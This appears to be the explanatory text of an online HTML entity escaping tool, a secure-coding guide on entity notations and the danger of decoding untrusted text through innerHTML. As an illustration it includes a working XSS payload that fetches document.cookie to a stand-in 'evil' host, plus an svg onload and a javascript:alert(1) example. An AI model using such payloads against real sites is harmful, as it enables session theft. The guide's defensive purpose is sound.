How to escape HTML entities, and why innerHTML is the wrong way back

Five characters, three notations, and one decoding shortcut that quietly runs whatever an attacker pasted into your form.

An HTML parser reading <script> in your page has to decide whether you meant a tag or the literal text. Escaping is how you tell it. Replace the character with a reference and the parser prints it instead of acting on it.

Try it — paste markup on the left, entities on the right

How it works

  1. Paste raw text or markup in the left pane and the escaped version appears on the right as you type.
  2. Paste entity-encoded text in the right pane to go the other way. Named, decimal, and hexadecimal references all decode.
  3. Tick the non-ASCII option to convert accents and emoji to numeric entities, useful when the target system is stuck on a legacy charset. Then copy either pane.

The five characters

Only two are strictly required in element text. An ampersand starts a character reference, so a bare & is ambiguous. A less-than sign starts a tag. The greater-than sign is escaped by convention, since a stray one can confuse older parsers and hand-written regex. Inside an attribute value, whichever quote delimits the attribute has to go too, and since you cannot always predict whether your string will land in a single-quoted or double-quoted attribute, escaping both is the safe default.

That is why the standard set is & < > " ', and why the apostrophe is written as &#39; rather than &apos;. The named form only exists in XML and HTML5. Old parsers print it verbatim, which is exactly the bug you were escaping to avoid.

Named, decimal, hex

The copyright sign can be written three ways: &copy;, &#169;, or &#xA9;. All produce the same character. Named entities read better but only about 250 of them exist in the HTML4 set that most content sticks to. Numeric references cover every Unicode code point, so anything outside the named list has to use them.

Real-world content mixes all three, usually because it passed through several systems. Scraped text also carries a fourth flavor: numeric references in the 128 to 159 range, such as &#151;. Those code points are control characters in Unicode, but the reference almost always came from Windows-1252 text, where 151 is an em dash. Browsers remap that range on purpose, and so does the decoder here, so &#151; comes out as the dash the author meant.

The innerHTML trap

The tempting way to decode entities in the browser is three lines:

const el = document.createElement('div')
el.innerHTML = untrustedText
return el.textContent

It works. It also parses untrustedText as HTML on the way in. A payload of <img src=x onerror=fetch('//evil'+document.cookie)> triggers the error handler the moment the assignment runs, before you ever read textContent back. Detaching the element from the document does not help: image loading, and therefore onerror, does not require attachment. Neither does a <svg onload>. Inline scripts happen not to run this way, which is what makes the pattern look safe in a quick test.

The version without a parser is not much longer. Match &name; against a lookup table, match &#digits; and &#xhex; with a regular expression, and call String.fromCodePoint after checking the value is a legal scalar. That is what this tool does. No markup is ever constructed, so nothing can execute. If you do want the browser to do the work, new DOMParser().parseFromString(text, 'text/html') is inert by spec. The innerHTML shortcut never was.

Escaping is not sanitizing

Entity escaping protects HTML text and quoted attribute values. It does nothing for the contexts that do not use HTML syntax. Inside a <script> block you need JavaScript string escaping. Inside style you need CSS escaping. An unquoted attribute can be escaped from with a plain space. And a href holding javascript:alert(1) contains no special characters at all, so escaping leaves it perfectly intact and perfectly dangerous.

The rule that covers all of them: escape at the point of output, in whatever escaping that output needs, instead of once on the way into the database.